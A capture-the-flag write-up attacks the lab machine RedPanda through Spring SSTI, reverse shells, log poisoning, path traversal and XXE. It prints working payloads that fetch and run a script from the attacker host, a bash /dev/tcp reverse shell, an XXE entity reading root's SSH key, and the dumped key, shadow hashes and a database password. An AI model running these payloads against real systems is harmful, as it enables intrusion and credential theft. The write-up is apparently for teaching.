USER
Step 1
nmap:
➜ redpanda nmap -Pn -n -p- 10.10.11.170
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-15 20:25 CEST
Nmap scan report for 10.10.11.170
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
➜ redpanda nmap -Pn -n -sCV -p22,8080 10.10.11.170 --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Mon, 15 Aug 2022 18:26:55 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Mon, 15 Aug 2022 18:26:55 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Mon, 15 Aug 2022 18:26:55 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
Visiting port 8080 we find the RedPanda search page, where we can search for different pandas.
Since this is an easy box, lets just search for something random, capture it in Burp and throw whatever we got at it; SQLi, SSTI, XXE etc.
With SSTI we find something interesting:
Step 2
Both @(6+5)
and #{3*3}
is calculated however everything starting with $
is blacklisted.. Looking on the syntax we can figure out that the backend is java, which is also seen in the website title (“Made with Spring Boot”).
We can bypass this blacklist by replacing $
with *
instead, and are now able to extract some environment information:
## Request
POST /search HTTP/1.1
Host: 10.10.11.170:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://10.10.11.170:8080
Connection: close
Referer: http://10.10.11.170:8080/
Upgrade-Insecure-Requests: 1
name=*{T(java.lang.System).getenv()}
## Response:
[... snip ...]
<h2 class="searched">
You searched for: {PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, SHELL=/bin/bash, JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64, TERM=unknown, USER=woodenk, LANG=en_US.UTF-8, SUDO_USER=root, SUDO_COMMAND=/usr/bin/java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar, SUDO_GID=0, MAIL=/var/mail/woodenk, LOGNAME=woodenk, SUDO_UID=0, HOME=/home/woodenk}
</h2>
Going to Github PayloadAllTheThings we find a one-liner to execute commands, and with this we’re able get callbacks from the victim:
## Request
name=*{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.6/test')}
## Callback
➜ redpanda python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.170 - - [15/Aug/2022 21:37:09] code 404, message File not found
10.10.11.170 - - [15/Aug/2022 21:37:09] "GET /test HTTP/1.1" 404 -
Trying a bunch of one-liners fails, I am not able to get a reverse shell. So instead we go to create a payload and upload it to the victim.
➜ redpanda echo "bash -i >& /dev/tcp/10.10.14.6/443 0>&1" > revshell.sh
## Request 1 - Upload
name=*{T(java.lang.Runtime).getRuntime().exec('wget http://10.10.14.6/revshell.sh')}
## Request 2 - Execute
name=*{T(java.lang.Runtime).getRuntime().exec('bash revshell.sh')}
➜ redpanda nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.170] 32894
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$
woodenk@redpanda:~$ cat user.txt
4f591f5aaa56e50ec3bb7ac485cc81c3
Root
Step 1
- We’re unable to run
sudo -l
due to the lack of password - The directory
.ssh
doesn’t exist so we can’t stealid_rsa
for persistance
Manually enumerating the box we find the sensitive web files at /opt/panda_search
. Digging deeper we find the sql connection including the password for user Woodenk
.
woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java
[... snip ...]
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
Looking in the MySQL Server there’s nothing of use however, only pictures of red pandas.
Before enumerating automatically with linPEAS etc I like to use pspy64
to see if there’s anything obvious being executed as root that we can exploit, so lets look at that.
woodenk@redpanda:/dev/shm$ wget http://10.10.14.6/pspy64
woodenk@redpanda:/dev/shm$ chmod +x pspy64
woodenk@redpanda:/dev/shm$ ./pspy64
[... snip ...]
2022/08/16 10:36:01 CMD: UID=0 PID=18234 | /bin/sh -c /root/run_credits.sh
2022/08/16 10:36:01 CMD: UID=0 PID=18233 | /usr/sbin/CRON -f
2022/08/16 10:36:01 CMD: UID=0 PID=18236 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
2022/08/16 10:36:01 CMD: UID=0 PID=18235 | /bin/sh /root/run_credits.sh
2022/08/16 10:36:53 CMD: UID=0 PID=18257 |
2022/08/16 10:38:01 CMD: UID=0 PID=18270 | /usr/sbin/CRON -f
2022/08/16 10:38:01 CMD: UID=0 PID=18271 | /bin/sh -c /root/run_credits.sh
2022/08/16 10:38:01 CMD: UID=0 PID=18272 | /bin/sh /root/run_credits.sh
2022/08/16 10:38:01 CMD: UID=0 PID=18273 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
Okay so we see a .jar-file being executed every 2 minutes by root (UID=0), lets download that file and investigate it.
➜ redpanda nc -lp 1234 > final-1.0-jar-with-dependencies.jar
woodenk@redpanda:/opt/credit-score/LogParser/final/target$ nc -w 3 10.10.14.6 1234 < final-1.0-jar-with-dependencies.jar
Step 2
The jar-file has a lot to unpack and you really need focus to keep your ducks in a row. I use jd-gui to open and analyze the jar. Ill try to go through all the requirements, step by step, and what we need to do to pass to code execution through XXE.
Application Code:
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map<Object, Object> map = new HashMap<>();
.put("status_code", Integer.valueOf(Integer.parseInt(strings[0])));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
mapreturn map;
}
public static boolean isImage(String filename) {
if (filename.contains(".jpg"))
return true;
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
= JpegMetadataReader.readMetadata(jpgFile);
Metadata metadata for (Directory dir : metadata.getDirectories()) {
for (Tag tag : dir.getTags()) {
if (tag.getTagName() == "Artist")
return tag.getDescription();
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException {
= new SAXBuilder();
SAXBuilder saxBuilder = new XMLOutputter();
XMLOutputter xmlOutput .setFormat(Format.getPrettyFormat());
xmlOutputFile fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for (Element el : rootElement.getChildren()) {
if (el.getName() == "image")
if (el.getChild("uri").getText().equals(uri)) {
Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1);
System.out.println("Total views:" + Integer.toString(totalviews.intValue()));
.getChild("totalviews").setText(Integer.toString(totalviews.intValue()));
rootElementInteger views = Integer.valueOf(Integer.parseInt(el.getChild("views").getText()));
.getChild("views").setText(Integer.toString(views.intValue() + 1));
el}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
.output(doc, writer);
xmlOutput}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (!isImage(line))
continue;
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
Starting from main, the jar-file opens /opt/panda_search/redpanda.log
and reads the output, line by line, top down. Note that we have read+write over the file as it’s owned by group logs
.
woodenk@redpanda:/dev/shm$ ls -al /opt/panda_search/redpanda.log
-rw-rw-r-- 1 root logs 280 Aug 16 12:46 /opt/panda_search/redpanda.log
woodenk@redpanda:/dev/shm$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
Below are the steps we need to understand:
1, Verify that .jpg
is present in redpanda.log
.
// MAIN
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (!isImage(line))
continue;
// isImage
public static boolean isImage(String filename) {
if (filename.contains(".jpg"))
return true;
return false;
2, When a line with .jpg
is found, send the line to be parsed by function parseLog
. parseLog
will separate the line and return four callable chunks; (1) status_code
, (2) ip
, (3) user_agent
& (4) uri
. Again, note that we can controll the uri
parameter as we (group logs
) own redpanda.log
.
// MAIN
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
3, The uri
parameter is sent to getArtist
function where it will look for the image in /opt/panda_search/src/main/resources/static
, which is the default path for the img
directory where all red panda images are stored. Since we controll uri
we can use path traversal and look for the image else where, example /../../../../../../dev/shm/e.jpg
.
// MAIN
String artist = getArtist(parsed_data.get("uri").toString());
// getArtist
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
4, The meta data from found image will be checked, and the value of Artist
will be returned to main, which will be used to create a path to a XML-file. Since we’re pointing to our custom image, we can controll the metadata with exiftool
and use path traversal again to our own XML-file. Example, exiftool -Artist="../dev/shm/pwn" e.jpg
, creating the xmlPath /credits/../dev/shm/pwn_creds.xml
.
// getArtist
= JpegMetadataReader.readMetadata(jpgFile);
Metadata metadata for (Directory dir : metadata.getDirectories()) {
for (Tag tag : dir.getTags()) {
if (tag.getTagName() == "Artist")
return tag.getDescription();
// MAIN
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
5, Lastly all our controlled data is sent to function addViewTo
, xmlPath
is set to /credits/../dev/shm/pwn_creds.xml
and uri
to /../../../../../../dev/shm/e.jpg
. - The element uri
(in the XML-file) is compared to variable uri
to make sure they are the same. This means that we need to set <uri>/../../../../../../dev/shm/e.jpg</uri>
in our XML, else this wont pass - totalviews
are calculated, meaning we need to have <totalviews></totalviews>
in our XML - views
are calculcated, same as above, we need to have <views></views>
in our XML
// MAIN
addViewTo(xmlPath, parsed_data.get("uri").toString());
// addViewTo
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for (Element el : rootElement.getChildren()) {
if (el.getName() == "image")
if (el.getChild("uri").getText().equals(uri)) {
Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1);
System.out.println("Total views:" + Integer.toString(totalviews.intValue()));
.getChild("totalviews").setText(Integer.toString(totalviews.intValue()));
rootElementInteger views = Integer.valueOf(Integer.parseInt(el.getChild("views").getText()));
.getChild("views").setText(Integer.toString(views.intValue() + 1));
el}
}
With all this in mind, we can download one of the xml-files at /credits/
and use as a base. Remember that the file name here is important as it will work together with the image metadata.
➜ redpanda cat pwn_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>pwn</author>
<image>
<uri>/../../../../../../dev/shm/e.jpg</uri>
<foo>&xxe;</foo>
</image>
<totalviews>0</totalviews>
</credits>
Next, change the metadata of a random image:
➜ redpanda exiftool -Artist="../dev/shm/pwn" e.jpg
➜ redpanda exiftool e.jpg | grep Artist
Artist : ../dev/shm/pwn
Upload the xml and image to the victim, and write your path traversal in redpanda.log
. Wait for maximum two minutes until the jar is executed again and the xml-file should now contain the content of root id_rsa
.
woodenk@redpanda:/dev/shm$ wget http://10.10.14.6:8888/pwn_creds.xml
woodenk@redpanda:/dev/shm$ wget http://10.10.14.6:8888/e.jpg
woodenk@redpanda:/dev/shm$ echo "200||IP-ADDR||USERAGENT||/../../../../../../dev/shm/e.jpg" > /opt/panda_search/redpanda.log
woodenk@redpanda:/dev/shm$ cat pwn_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>pwn</author>
<image>
<uri>/../../../../../../dev/shm/e.jpg</uri>
<foo>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</foo>
<views>1</views>
</image>
<totalviews>1</totalviews>
</credits>
Write to file, login and win.
➜ redpanda vim root-id_rsa
➜ redpanda chmod 400 root-id_rsa
➜ redpanda ssh root@redpanda.htb -i root-id_rsa
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)
root@redpanda:~# cat root.txt
84d3faba94901c92ecd00838f38ef288
root@redpanda:~# cat /etc/shadow
root:$6$HYdGmG45Ye119KMJ$XKsSsbWxGmfYk38VaKlJkaLomoPUzkL/l4XNJN3PuXYAYebnSz628ii4VLWfEuPShcAEpQRjhl.vi0MrJAC8x0:19157:0:99999:7:::
woodenk:$6$48BoRAl2LvBK8Zth$vpJzroFTUyQRA/UQKu64uzNF6L7pceYAe.B14kmSgvKCvjTm6Iu/hSEZTTT8EFbGKNIbT3e2ox3qqK/MJRJIJ1:19157:0:99999:7:::